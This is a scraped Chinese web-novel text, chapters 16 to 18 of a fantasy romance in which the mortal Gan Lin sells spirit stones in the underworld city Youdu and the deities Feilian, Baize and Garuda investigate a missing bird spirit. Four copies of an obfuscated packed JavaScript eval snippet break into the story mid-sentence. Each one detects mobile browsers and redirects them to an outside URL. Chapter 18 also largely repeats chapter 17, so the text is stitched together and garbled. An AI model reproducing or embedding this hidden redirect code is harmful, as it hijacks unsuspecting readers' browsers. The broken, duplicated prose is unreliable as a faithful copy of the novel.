那人看了一眼,“两万。” “两万?”甘霖有些意外,“这可是祸斗大人的灵力结晶。” “三万。”那人干脆利落地抬了点价,“除了我这儿,别处可没有这样的价了。” 甘霖对幽都的行情完全不懂,以为现在就是这个市场价,“那好吧。”三万对他来说也是一笔巨款了,一想这是别人送的东西换来的,他还真有些心虚。 “先别卖。”一直默默站在甘霖伸手没有说话的飞廉道,“价太低了。” 那人一下急了,“我说你不知道行情就不要乱说,现在不比几年前,都是这个价了。” “如今灵气稀薄衰退,灵石只会越来越贵,绝不会落价。” 甘霖一想,也对啊,物以稀为贵,怎么可能掉价,他立马重新包紧纸包站起身,“算了,我不卖了。” “四万!真的不能再多了!”那人看甘霖要走,立马开始加价,“五万,哎,最多六万!” 甘霖跟着飞廉已经走进人群快步离开了,“我天,一下子翻了三倍,看样子这个东西确实很值钱。” “灵石很值钱,不过更重要的是因为这是祸斗的灵石。”飞廉带着甘霖来到街道深处,站在一家店铺前,和别处一样的黑墙红瓦,里面亮着灯,但是没有招牌。 两人推门进去,里面不大,但装修得相当现代且文艺,像一家很有格调的咖啡馆,不过只有一套桌椅,吧台占据了更多的面积,尤其是吧台后面的人,让甘霖非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240511|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常惊讶。 “白泽大人,您怎么会在这里?”甘霖问。 白泽笑笑,“没办法,能者多劳,我本事太大,所以只能身兼数职了。” “这里是天庭官方设置的兑换点,价格公道,和他换。”飞廉解释。 “还有这种好地方?外面那么多摊位,干嘛还要设置这样的机构,既然已经有了这样的机构,外面为什么还会有收东西的黑摊啊?”甘霖很疑惑。 “有些人的东西是不敢拿到这种地方来的,所以只能在外面低价销赃,至于这个地方……现在出门在外什么都要花钱,不是每个凡人外都能挣钱,偶尔有隐世的需要钱,拿点自己的天材地宝来这里兑换,比较方便。”白泽笑眯眯道,“小甘霖,你来是想换东西吗?” 甘霖赶紧拿出自己的灵石,“这些。” 白泽伸出一根手指,一块灵石便漂浮起来,随着他的手指飞来飞去,像是在逗弄一只小飞鸟,“祸斗的灵石,罕见的纯净度极高的火灵石,神器装备科那边常年缺少这东西,可以说有价无市,祸斗的收入一半都来自这些,他要是有段时间没产出,科长毕方就会找他去喝酒,灌醉他让他变回原形然后……” “别说了。”甘霖赶紧阻止他,“我已经知道他的灵石是怎么来的了,白泽大人,您直接看看这些灵石值多少钱吧。” 白泽笑着看了一眼,“十二块,给你二十四万,怎么样?” 甘霖都给吓结巴了,“二、二十四万?这么值钱!” “小甘霖真可爱,你不知道吗,迦楼罗喜欢大金链子大宝石,基本上全都是祸斗靠卖自己的灵石给他买的,他每个月光靠这个随便挣个几百万没问题,前些年有一次围剿妖兽,神器装备科补造神器,那个月,祸斗入账了两千多万。” 白泽水绿色的头发无风而动,白肌如雪,看着很是神圣,不过说的话就相当世俗了,“我去看望他,他人都虚脱了,一副细狗模样瘫在迦楼罗的怀里,我说要给迦楼罗介绍新男人,他想扑过来咬我,被迦楼罗一根手指头就按住了。” 甘霖想祸斗那个样子有些好笑,“我以为生产灵石对他没什么影响呢。” “是没什么影响,吃多吐多,无非就是耗点体力罢了,迦楼罗要是脱两件,我估计他能创造上亿神话。”白泽神色懒洋洋的。 “这就不用告诉我了。”甘霖对两口子的闺中密事不感兴趣。 “账号给我,这就给你打钱。”白泽把一张表格拍在甘霖面前,“填吧。” 甘霖迟疑了一下,“白泽大人,那你应该也知道祸斗的账号吧,这些钱,我只要四万,剩下的二十万你给他打过去吧。” 白泽不理解,“为什么,这二十几万对祸斗来说就是打个哈欠的事儿,他不会在意的。” “这要是飞廉大人给我的,我就收了,但我和祸斗的关系并没有到这个份上,无功不受禄,我不能要这么多,四万还是可以的。”甘霖回头看了飞廉一眼,不知道为什么,他觉得飞廉的情绪莫名又好了起来。 “按他说的办。”飞廉道。 白泽似笑非笑地看向飞廉,那双能辨识万物的浅色眼眸仿佛已经看透了一切,“好,两小时内到账。” 说完他看着纸包旁被甘霖特意拿出来的另一块灵石,“这是飞廉大人的吧,一起卖吗?” 甘霖愣了一下,拿起那块硕大透明的淡蓝色灵石,缓缓摇摇头,“不,这个我要留着的,算是个保障吧,感觉有这个什么都不用愁了,而且现在我已经不缺钱了。” 白泽看了眼飞廉,“哎呀,某人又高兴了,行吧,那你什么时候想卖随时找我,这个更值钱。” 甘霖点了点头,起身看着飞廉,表情兴奋,“大人,我有这么多钱了,可以请大家吃更多好吃的了,我们能去迦楼罗那里吗,我想把他也叫上。” 白泽看着气息陡然低沉的飞廉“噗嗤”一声笑了出来,“小甘霖,加我一个!” 16.16.爱狐(十六)谏珂爱狐 甘霖听到白泽的话正要转身问问对方有没有喜欢吃的或者什么忌口,结果直接被飞廉打断。 “我还有事问你。” 白泽撑着下巴懒洋洋的,“飞廉大人的事比较重要,说吧。” “你知道谏珂吗?”飞廉问。 白泽连一秒钟的思考都没有,“常年跟在鬼车身边的那只花羽赤足的小鸟吗,灵力不错,天赋一般,六千年前鬼车屠戮狐族被斩一首之后他就在三界销声匿迹了。” 他一边说着一边在空中轻轻一点,谏珂的幻影出现在三人面前。 那是一个典型的神禽一族的男人,不像迦楼罗那样艳丽无双,男生女相,反而有种别样的君子如玉,挺拔如竹的气质,典型的东方美男,眉眼柔和如一幅水墨画,神情有些腼腆,穿着仙气十足的青色衣袍,广袖轻飘,如立云端。 甘霖很难把这样一个人和山洞中浸在血池中的鬼车联系起来。 “哇,好帅哦。”他围着谏珂的幻影转了一圈,“神仙啊,这就是大众想象中的神仙啊。” 白泽挑眉,“小甘霖,我和谏珂谁帅?” “那必然还是白泽大人。”甘霖立刻道,这个问题根本不用考虑,不管哪两个人比,必然是在现场的人更帅,况且白泽容貌无双,无论是颜值还是气场确实都要比谏珂更胜一筹。 “啧啧,不愧姓甘,嘴真甜。”白泽笑着掏了掏甘霖丰润白嫩的脸蛋,塞给他一把糖,“就喜欢你这种会说话的孩子,喏,天庭特产,尝尝吧。” 甘霖一看,糖纸上写着三界食药用资源局出品,Q弹凝胶糖果,蟠桃味,“这个吃了不会长生不老吧?” “想哪儿去了,最多也就让你维持几天吃得好睡得香不生病而已,放心吃吧。”白泽一脸慈爱地看着他。 “对我们凡人来说没有比这更好的功效了,谢谢大人!”甘霖立马剥了一个塞进嘴里,然后他感受到一股强烈的视线。 飞廉冷眼看着两个人互动,眼底的冰平白让空气降了几度,他盯着白泽摸了甘霖脸蛋的手,偏偏白泽就跟感受不到他的视线似的,回味无穷地搓了搓手指,“小甘霖皮肤真好啊,长得也好看。” 他又把视线投向了甘霖,看得甘霖莫名心虚,拿起一个糖递给他,“大人,你也想吃?” “不吃。” 甘霖心满意足且毫无负担地把糖都装进了自己的帆布包里,这可是提高生活质量的灵丹妙药啊,装好后他眼神期待地看向飞廉,“大人,我要是吃完了,你能不能帮我买啊,我自己出钱。” 白泽“哎”了一声,“怎么不找我帮你啊?” “白泽大人送我见面礼我能收,再麻烦您就不好了,飞廉大人不一样。”甘霖理所当然地说。 “哪不一样。”飞廉声音涩然。 白泽也问,“对啊,哪不一样?” 甘霖想了想,“飞廉大人是我上司,我和他比较熟。” 虽然这么说,其实越是上司越不好麻烦,他也并不觉得是飞廉害他死了一次所以欠他的,他和飞廉不算亲近,但就是觉得比起白泽,他更能轻易向飞廉表达请求,这是一种很难用语言具体形容的感觉。 “想吃说一声便可,直接带你去店里买,随便挑。” 白泽看着心情顿时又变好的飞廉笑了笑,“行吧行吧,我们现在能聊聊正事了吧,谏珂的名字都快凉了,飞廉大人你为什么会提到谏珂?” 飞廉蹙眉,“我记得六千年前,无论鬼车在哪儿,谏珂都跟在她身边,但她被斩首堕魔后也自由过几千年,却再也没有见过谏珂,这不是很奇怪吗?” 白泽想了想,“确实,那个谏珂我见过两次,辅佐鬼车可以说是尽心尽力,极其忠诚,虽然灵力修为一般,但很有谋略才能,鬼车被斩首后,就销声匿迹了。” 说着他掏出手机,“叫迦楼罗来问问算了,这些鸟啊雀啊的事情,没人比他更清楚。” 电话刚挂,衣着华丽的迦楼罗就揣着蛋出现了,“飞廉大人,那只傻狗没给你添麻烦吧。” 飞廉摇头,“有孰湖在。” 甘霖的注意力都被迦楼罗怀里的蛋给吸引了,比起三天前第一次见,这个蛋更大了,不光从正圆形变成了卵形,颜色也不再是近黑的深蓝色,变成了水墨画般的青蓝色。 他不由地想到了孕妇即将生产时不断被撑大,变得紧绷透明的肚皮,感觉迦楼罗浑身都散发着母性的光辉。 “这个蛋快出壳了吧。”甘霖没忍住摸了摸那个巨大的蛋。 结果他的手刚放上去,那个蛋突然剧烈地颤动了一下,迦楼罗差点没抱住。 甘霖吓得魂都没了,脸色煞白,这可是三界唯一的一只青鸾,是能让祸斗把宝贝抵给西王母只求对方息怒的神鸟,要是被他摸了一把就摔碎了,估计他的命都不够赔的,他结结巴巴地道歉,“这、抱歉,我不该乱摸,我没想到他对凡人反应这么大。” 店里其他三个大神不约而同地看向甘霖,表情都有些莫测,迦楼罗抱好青鸾蛋,意有所指,“他不是因为你是个凡人才对你反应这么大的。” “那是因为什么?” 迦楼罗看了飞廉一眼,“因为你身上的灵力。” 甘霖更迷惑了,“我身上的灵力?我身上不就是因为魂魄来过一次幽都沾染的幽都灵气,还有沾染的飞廉大人的灵力吗?” 迦楼罗坐到椅子上,“或许吧,或许这二者混合成了一种更神秘的力量。” 甘霖垮起脸,“完了,感觉自己再也不能做回凡人了。” 迦楼罗拍了拍他的背以示安慰,和飞廉说起正事,“大人和白泽叫我过来有何要事?” 飞廉便把关于谏珂的猜测简单说了说,“我总觉得谏珂和当年鬼车屠戮青丘狐族的事情有关联,也和这次蛊雕食人的案件有关。” 迦楼罗点点头,“和蛊雕有没有关联不知道,不过和青丘的事情的确有关,鬼车就是为了他才去的青丘啊。” 其他人都愣住了,飞廉的表情都罕见地有些呆滞,三人异口同声,“你知道?” 迦楼罗不知道他们为什么这么惊讶,“知道啊,你们不知道吗?” 白泽从吧台后面飘出来,“你怎么会知道,这么多年了,三界没人知道鬼车为什么杀青丘狐族百余人,她自己从来没有说过,谏珂也不知所踪,就连我都不知道,你怎么会知道?” 迦楼罗笑了笑,火红长发上的羽毛簪子一抖一抖的,“白泽你是博闻强识,用现在的话说叫百科全书,但谏珂这件事属于家长里短八卦消息,你不知道很正常,飞廉大人就更不用说了,除了对那位…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15253013|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其他的事情您也不关心不是。” 他说到那位的时候语气迟疑了一下,看着甘霖笑了笑,含混过去了。 甘霖不明所以,下意识地看向飞廉。 飞廉抱着双臂靠在吧台旁的墙上,黑衣黑皮肤,整个人几乎都藏在了阴影中,只有右耳的坠子闪着光,他眼眸微垂,没有对迦楼罗的话和甘霖的眼神产生任何反应。 “鬼车被判斩一首和千年封印,神禽族长神凤派人去把她从斩妖台带了回来。”迦楼罗拍了拍怀里的蛋,“我和她既不同宗也不同源,那时我和帝释天等八部众还在西方极乐护法,同中原交流还不算多,和她只有两面之缘,但因为祸斗我欠她和谏珂一个人情,所以在她封印之前,我去见了她一面。” 那时的鬼车十分狼狈,她不仅被斩去了一首,还生生受了最高八十一道雷劫的惩罚,瘫在地上,勉力保持着人形,看到迦楼罗过来,她勾起曾经艳丽如花,如今却苍白如雪的嘴唇笑了笑,“没想到封印前见的最后一个人居然是你。” “谏珂求我来的,他本来要去斩妖台接你,但因为和你关系太近,神凤没同意,他磕头磕得头破血流,但最后还是没办法。”迦楼罗盘腿坐在鬼车面前说着自己来这里的原因,“他来找我,我没办法拒绝。” 鬼车轻轻闭上了美目,睫羽微潮,“那个笨蛋,何苦如此。” “鬼车,你告诉我,你为什么要杀青丘百余人?”迦楼罗问出心中的疑惑。 “因为……”鬼车声音发颤,“因为谏珂不爱我,他爱上了青丘的一只九尾狐。” 迦楼罗疑惑且惊讶,他从没想过鬼车会爱上那个对比之下平凡温吞,没什么天赋修为的谏珂,“你居然会沉溺情爱,因嫉恨犯下这样的滔天大罪!” 鬼车咯咯笑了,“迦楼罗,枉你和祸斗也算是突破伦理旧习,历尽磨难在一起的一对天人,居然狭隘至此,他不爱我有什么错,我怎么会为了这种事杀人。” 迦楼罗被她说得心里愧疚发虚,“那为何?” “他不爱我,我却爱他,我想他若能和所爱之人在一起,我看着也很愉悦,便带他去青丘提亲,他好歹是我的人,我为他出这个面也是应该的,若是两族说好,我本来还打算为他求得神凤主婚。”鬼车缓缓睁开没什么神采的眼睛,语气也尖利起来,“可没想到,没想到……” 她的声音让迦楼罗不自觉地心颤,“发生了什么?” “谏珂爱的那只九尾狐被杀了!被剥皮斩尾,抽骨拔筋,活生生炼化而死了!”鬼车抬头泣血喊完这句,修长的脖颈骤然颓落,趴在地上半天都动不了一下,几乎濒死了。 “怎么会?!”迦楼罗心跳骤停,青丘狐族,若是九尾,必然是帝君白氏一族的近亲,修为也在千年以上了,在青丘时极其尊贵的存在,怎么能如此惨死。 鬼车笑得身体发颤,“为他报仇,是我唯一能为他做的。” 迦楼罗总算明白谏珂来找他时那面如死灰,绝望麻木的样子是为何了。 爱人陨落,视为亲姐的鬼车为他犯下罪行即将被封印,一夕之间失去所有,谁又能承受呢。 迦楼罗感到心痛,他有了祸斗,所以他能够理解,若是祸斗被人杀了,别说青丘百只狐狸,就是整个青丘,天下狐族,他也要通通毁灭,给祸斗陪葬。 17.17.爱狐(十七)相忘于江湖也不错 听到迦楼罗的话,小店里一时有些安静,谁都没有说话。 白泽叹息一声,“原来竟然是这样,怪不得那时候她什么都肯说,想来也是不想连累谏珂,给他太多负罪感吧。” 甘霖也觉得很遗憾,但还有更让他想不通的事情,“不过她既然怎么都不肯说,为什么又会告诉你呢?” 白泽解释,“迦楼罗因为护法习经的缘故,对人有涤荡心灵的被动技能,身心虚弱动摇之人在面对他的时候会忍不住说出内心最隐秘的事,那时候鬼车是最虚弱的时候,所以她才会不自觉地说出真相。” 哇哦,甘霖内心轻叹,祸斗真可怜,本来就是个傻狗了,还遇到行动的测谎机。 迦楼罗嗯了一声,“这更多类似一种让人信服的气质,我自己都忘了,偶尔对凡人有用,对神仙什么的其实没大作用,我倒是觉得是因为我那时和中原诸神都没什么关系,就算知道了也不会告诉别人,说实话,在你们今天问我之前,我都不知道鬼扯始终没有把这件事说出来的事情,我一直以为这是人人都知道的事。” 飞廉缓缓抬眼,“谏珂为什么会找你去见鬼车最后一面?” “我也觉得疑惑,我以为他要托我给鬼车什么东西,但他找到我只是求我去见见鬼车,然后问她……”迦楼罗的语气变得迟疑,眼神也透出惊讶,“为什么要那样做……我操!” 白泽抓住了重点,“什么意思,谏珂让你去问鬼车为什么要屠戮青丘狐族?他如果当时就在场,怎么会要你去问这种事?” 迦楼罗也才反应过来,“我当时离开灵羽宫后就是和等在外面的谏珂随意地聊了几句,和他说了我和鬼车的话,之后就直接回西天了,我当时没反应过来,而且我对这件事的来龙去脉根本不了解,更不会觉得有什么不对劲了。” “屠戮青丘是鬼车一个人做的,谏珂并不在场,所以才会没有受到任何惩罚全身而退。”飞廉看向小店的窗外,幽都的天色已经渐渐暗了,“鬼车的确是为了谏珂才犯下滔天罪行,但绝不仅仅只是因为谏珂爱的那只九尾狐被杀。” “大人,我们接下来要做什么?”甘霖问。 飞廉直起身,看着他,“找到谏珂,鬼车被封印六千年,他就失踪了六千年,这中间肯定有联系。” 迦楼罗“啧”了一声,“自从三界分开,我成为神凤的副手管理天下神禽异鸟,这机构都转变演化多少次了,快五千年了,我从来没见过他,说不定早在哪个山头陨落了,你怎么找?” “你早点回去,青鸾出世立刻把火精换回来。”飞廉走向门口,“甘霖,走。” “好。”甘霖跟上他走了两步,忽然想起什么,“大人等一下。” 他回头走到白泽面前,“白泽大人,三界没有什么是你不知道的,我有一件事想问问您。” 白泽撩了一把水绿色的长发,像是扇动了一阵薄荷味的凉风,“说吧,之前说过,知无不言言无不尽。” “我眼睛的事情您也知道,东王公说让我在这里工作,三界来回跑着,说不定就能找到彻底清除净化我身上和魂魄中灵气的办法,让我变回一个普通人,您知道有这样的神器或者哪位大神能帮我吗?” 白泽看了站在门口望着窗外,背影笔直僵硬的飞廉一眼,“为什么,现在这样不挺好的,工资高福利好,还能赚外快,别人求都求不来呢。” 甘霖叹了口气,“是挺好的,不过我说到底只是一个凡人,终归还是要过普通的生活吧。” “到那个时候,你的记忆或许会被清洗,会忘了我们所有人哦。”白泽用开玩笑的语气说,“哪天碰在大街上,你也只会觉得我是个惊为天人的大美男,不会记得我是你的白泽大人了,飞廉孰湖也全都会忘记,这样也没关系吗?” 甘霖愣住了,他下意识地看向了几米外的飞廉,那人还是那样,伟岸冷峻,沉默孤高,像是没有听到他们的话一样,没有任何反应。 飞廉静静地听着两人的话,像是有一杆长枪贯穿他的身体和心脏,又没有任何迟疑地拔走,只留下一个冷风呼啸穿过,带来鲜血和剧痛的血洞,他以为自己会疼得弓起身体,可却依然站得那么笔直。 鹤骨松姿,曾经那人那么说过他,“飞廉真是鹤骨松姿,这宽肩细腰,背直腿长,就跟雪山上落满雪的青松似的,看着真是赏心悦目。” 这些话,这些过往,像利刃从他的头顶穿透他的脊椎,绷着他的身体,让他无法动弹。 甘霖想了想,然后认真道,“也没办法啊,不过对于你们来说,凡人的寿命弹指一挥间,我的出现不过就是一瞬,相忘于江湖也许是最好的,对吧?” 白泽笑着摸了摸他的脑袋,“小小年纪,看得倒是通透。” “那有吗,有这样的东西吗?”甘霖期待地看着白泽。 白泽摇摇头,“或许有吧,只是我不知道,天下的事我知道百分之九十九,你问的正好是那百分之一,抱歉。” “没关系。”甘霖也没想着这么容易能得到答案,“白泽大人再见。” 飞廉已经推开门出去了,他赶紧快跑了几步追上去,“大人,等等我,我们接下来去哪?” “你先回去。”飞廉突然停下脚步。 甘霖绕到他面前,“大人,怎么了?” 飞廉微微转身移开了视线,没有看他,又说了一次,“你先回去,之后的事情我自己处理。” 甘霖没有走,他站在飞廉身边顺着对方的视线看过去,两座小楼中间有个两米宽的巷道,透过这一线巷道,正好能看到忘川,闪着零星碎光。 这里是忘川的下游,也是世人以为的忘川,上面有奈何桥,这里洗涤的都是罪孽轻微的灵魂,河水比起十八重冥司的上游要清澈得多,甚至呈现出一种浪漫暧昧的粉色,映着两岸的仿古路灯,已经是幽都著名夜景之一了。 甘霖出奇地冷静,“我和白泽大人刚才说的话让打人不高兴了吗?” 飞廉浑身一僵,右手紧握成拳。 “我觉得我的话并没有错啊。”甘霖语气轻松,“就算我在这里工作一辈子,也不过几十年,我死了,飞廉大人你们还会存在千千万万年,对比起来,我早离开晚离开其实并没有什么区别……” “你什么都不知道!”飞廉忽然厉声打断了甘霖,他倏地转过头,漆黑的眼眸死死盯着对方,半晌,失去了所有力气似的轻语,“你什么都不知道……” 甘霖感觉自己被一张大网笼罩了,这张网并没有紧勒着他,甚至是柔软的,可他却无法逃出去,就像他无法后退,无法移开视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256479|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线不去看飞廉一样。 飞廉深深地看了他一眼,抬脚离开了,“你先回去。” 甘霖站在原地看着他的身影消失在街道尽头,只能原路返回,过了忘川从结界回到了办事处。 他感觉才离开了最多两小时,结果人间已经是下午三点了,他错过两顿饭,饿得前胸贴后背,一头扎进食堂,没想到这个时候,食堂不光有饭,还有熟人。 “孰湖。” “甘霖!”孰湖欢快地冲过来给了他一个熟悉地举高高,“你醒啦?” 甘霖本来就饿,转了两圈被放在地上的时候腿都在打摆子,幸好被人一把抓住胳膊才不至于摔倒。 “孰湖,你别折腾他了,他昏了三天没吃饭,经不起你这样折腾。”祸斗笑着撑住甘霖,把他放在椅子上,“吃什么,我去帮你点餐。” “什么都行,要量大管饱!”甘霖道。 祸斗帮他点了今天的套餐,AB两种各来一份,“怕你一份不够吃。” 套餐上得快,甘霖狼吞虎咽,吃完了主食是面条的A套餐,喝了一碗汤,然后开始吃主食是米饭的B套餐,才算是降低了速度,也有力气聊天了,“这个时间,你俩怎么会在这里?” “无聊啊,也没什么事儿干,就在图书馆看书,一天能吃八顿饭,打发时间。”祸斗翻着手机,一只腿不停地抖,看着有些焦虑的样子。 甘霖伸长脖子看了一眼,祸斗在看迦楼罗的照片和视频,“你俩感情真好,这才分开几天就受不了了?” 祸斗放下手机,一脸得意,“你不懂,我们家那个小山鸡离不开我的,这几天也不知道寂寞成什么样了。” 甘霖咽下口中的食物,想了想,“我觉得迦楼罗状态挺好的,轻松愉快,也没我第一次见他的时候那么暴躁了,起色也不错。” “什么?!”祸斗恨不得扑过来,“你见他了,在哪儿,他问我了没,有没有说想我的话?!” “就在幽都的兑换小店,我去换你给我的灵石,飞廉大人有事要问,就让他过来了。”甘霖很认真地回忆了一会儿,“他就问了一句你有没有给飞廉大人添麻烦,之后就没有再提过你的事了。” “不可能,他肯定有问我过得好不好吧?” “没有。” “那他肯定让你给我带东西了吧?” “唔,也没有。”甘霖扒了一口饭,看着祸斗,颇有些幸灾乐祸,安慰他,“看来你家小山鸡也没有那么想你嘛,别伤心,这才三天,再过两天,再过两天他肯定就能想得起你了。” 祸斗咬牙切齿,“什么小山鸡!那只没良心的大扑棱蛾子!”说完起身就要跑,“我要好好教育教育他!一振夫纲!” 甘霖赶紧推了一把孰湖,“孰湖!” 孰湖越过桌子就抱住了祸斗,“不行!飞廉大人说了,在青鸾出世之前你绝对不能回去!” 看着两人兵荒马乱的身影,甘霖乐不可支。 好不容易安稳下来,孰湖看了眼手机,忽然拍案而起,“什么?!” 祸斗还深陷老婆“不爱我、不想我”的悲伤中不可自拔呢,“干嘛?” “你看,鬼车被判了死刑,要在斩妖台处刑呢!” 祸斗和甘霖拍案而起,“什么?!” 18.18.爱狐(十八)大家一起聚餐吧 飞廉静静地听着两人的话,像是有一杆长枪贯穿他的身体和心脏,又没有任何迟疑地拔走,只留下一个冷风呼啸穿过,带来鲜血和剧痛的血洞,他以为自己会疼得弓起身体,可却依然站得那么笔直。 鹤骨松姿,曾经那人那么说过他,“飞廉真是鹤骨松姿,这宽肩细腰,背直腿长,就跟雪山上落满雪的青松似的,看着真是赏心悦目。” 这些话,这些过往,像利刃从他的头顶穿透他的脊椎,绷着他的身体,让他无法动弹。 甘霖想了想,然后认真道,“也没办法啊,不过对于你们来说,凡人的寿命弹指一挥间,我的出现不过就是一瞬,相忘于江湖也许是最好的,对吧?” 白泽笑着摸了摸他的脑袋,“小小年纪,看得倒是通透,不过你长得这个模样,说你是神仙也不遑多让呢。” “谢谢夸奖,那有吗,有这样的东西吗?”甘霖期待地看着白泽。 白泽摇摇头,“或许有吧,只是我不知道,天下的事我知道百分之九十九,你问的正好是那百分之一,抱歉。” “没关系,麻烦您帮我打听打听。”甘霖也没想着这么容易能得到答案,“再见。” 飞廉已经推开门出去了,他快跑了几步追上去,“大人,等等我,我们接下来去哪?” “你先回去。”飞廉突然停下脚步。 甘霖绕到他面前,“怎么了?” 飞廉微微转身移开了视线,没有看他,又说了一次,“你先回去,之后的事情我自己处理。” 甘霖没有走,他站在飞廉身边顺着对方的视线看过去,两座小楼中间有个两米宽的巷道,透过这一线巷道,正好能看到忘川,闪着零星碎光。 这里是忘川的下游,也是世人以为的忘川,上面有奈何桥,到了这里灵魂的罪孽都已经被洗涤得差不多了,所以河水比起十八重冥司的上游要清澈得多,甚至呈现出一种浪漫暧昧的粉色,映着两岸的仿古路灯,已经是幽都著名夜景之一了。 甘霖出奇地冷静,“我和白泽大人刚才说的话让大人不高兴了吗?” 飞廉浑身一僵,右手紧握成拳。 “我觉得我的话并没有错啊。”甘霖语气轻松,“就算我在这里工作一辈子,也不过几十年,我死了,飞廉大人你们还会存在千千万万年,对比起来,我早离开晚离开其实并没有什么区别……” “你什么都不知道!”飞廉忽然厉声打断了甘霖,他倏地转过头,漆黑的眼眸死死盯着对方,半晌,失去了所有力气似的轻语,“你什么都不知道……” 甘霖感觉自己被一张大网笼罩了,这张网并没有紧勒着他,甚至是柔软的,可他却无法逃出去,就像他无法后退,无法移开视线不去看飞廉一样。 他直视着飞廉,甚至笑了笑,“我不知道啊,其实我也不必知道吧,人妖殊途,人仙也一样,不管怎么样,我终归是个凡人,平凡普通,健康安宁才是我最大的愿望。” 飞廉深深地看了他一眼,往他身上扔了一个保护结界,“你先回去。”说完就走,像是不敢再多看他一眼一样。 甘霖站在原地看着他的身影消失在街道尽头,只能原路返回,结果刚走了两步,就摔了个狗吃屎。 这次没有风托着他,飞廉的结界只能保护他免于法术的伤害,却抵挡不了这种物理意义上的意外、 不知道是不是用了特殊的材料,感觉幽都的地砖特别硬,磕得他膝盖发麻,掌心一阵刺痛,他抬起一看,飞廉帮他治愈的地方又出现了更严重的擦痕,渗出暗色的血液。 “倒霉透了。”飞廉爬起来拍了拍膝盖,叹了口气,过了忘川从结界回到了办事处。 飞廉一个人行走在天色已经彻底黑了的幽都,路边昏黄的灯光将他的影子拉成了长长的一条,他忽然停下脚步,抬手看着拇指下面已经变黑的血渍,良久,凑到唇边,含上那块,探出舌头轻轻舔过。 握住拳头,他重新迈开了步伐。 甘霖感觉才离开了最多两小时,结果人间已经是下午三点了,他错过两顿饭,饿得前胸贴后背,一头扎进食堂,没想到这个时候,食堂不光有饭,还有熟人。 “孰湖。” “甘霖!”孰湖欢快地冲过来给了他一个熟悉地举高高,“你醒啦?” 甘霖本来就饿,转了两圈被放在地上的时候腿都在打摆子,幸好被人一把抓住胳膊才不至于摔倒。 “孰湖,你别折腾他了,他昏了三天没吃饭,经不起你这样折腾。”祸斗笑着撑住甘霖,把他放在椅子上,“吃什么,我去帮你点餐。” “什么都行,要量大管饱!”甘霖道。 祸斗帮他点了今天的套餐,AB两种各来一份,“怕你一份不够吃。” 套餐上得快,甘霖狼吞虎咽,吃完了主食是面条的A套餐,喝了一碗汤,然后开始吃主食是米饭的B套餐时,才开始降低了速度,也有力气聊天了,“这个时间,你俩怎么会在这里?” “无聊啊,也没什么事儿干,就在图书馆看书,一天能吃八顿饭,打发时间。”祸斗翻着手机,一只腿不停地抖,看着有些焦虑的样子。 甘霖伸长脖子看了一眼,祸斗在看迦楼罗的照片和视频,“你俩感情真好,这才分开几天就受不了了?” 祸斗放下手机,一脸得意,“你不懂,我们家那个小山鸡离不开我的,这几天也不知道寂寞成什么样了。” 甘霖咽下口中的食物,想了想,“我觉得迦楼罗状态挺好的,轻松愉快,也没我第一次见他的时候那么暴躁了,气色也不错。” “什么?!”祸斗恨不得扑过来,“你见他了,在哪儿,他问我了没,有没有说想我的话?!” “就在幽都兑换点的那家咖啡馆,我去换你给我的灵石,飞廉大人有事要问,就让他过来了。”甘霖很认真地回忆了一会儿,“他就问了一句你有没有给飞廉大人添麻烦,之后就没有再提过你的事了。” “不可能,他肯定有问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263860|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我过得好不好吧?” “没有。” “那他肯定让你给我带东西了吧?” “唔,也没有。”甘霖扒了一口饭,看着祸斗,颇有些幸灾乐祸,安慰他,“看来你家小山鸡也没有那么想你嘛,别伤心,这才三天,再过两天,再过两天他肯定就能想得起你了。” 祸斗咬牙切齿,“什么小山鸡!那只没良心的大扑棱蛾子!”说完起身就要跑,“我要好好教育教育他!一振夫纲!” 甘霖赶紧推了一把孰湖,“孰湖!” 孰湖越过桌子就抱住了祸斗,“不行!飞廉大人说了,在青鸾出世之前你绝对不能回去!” 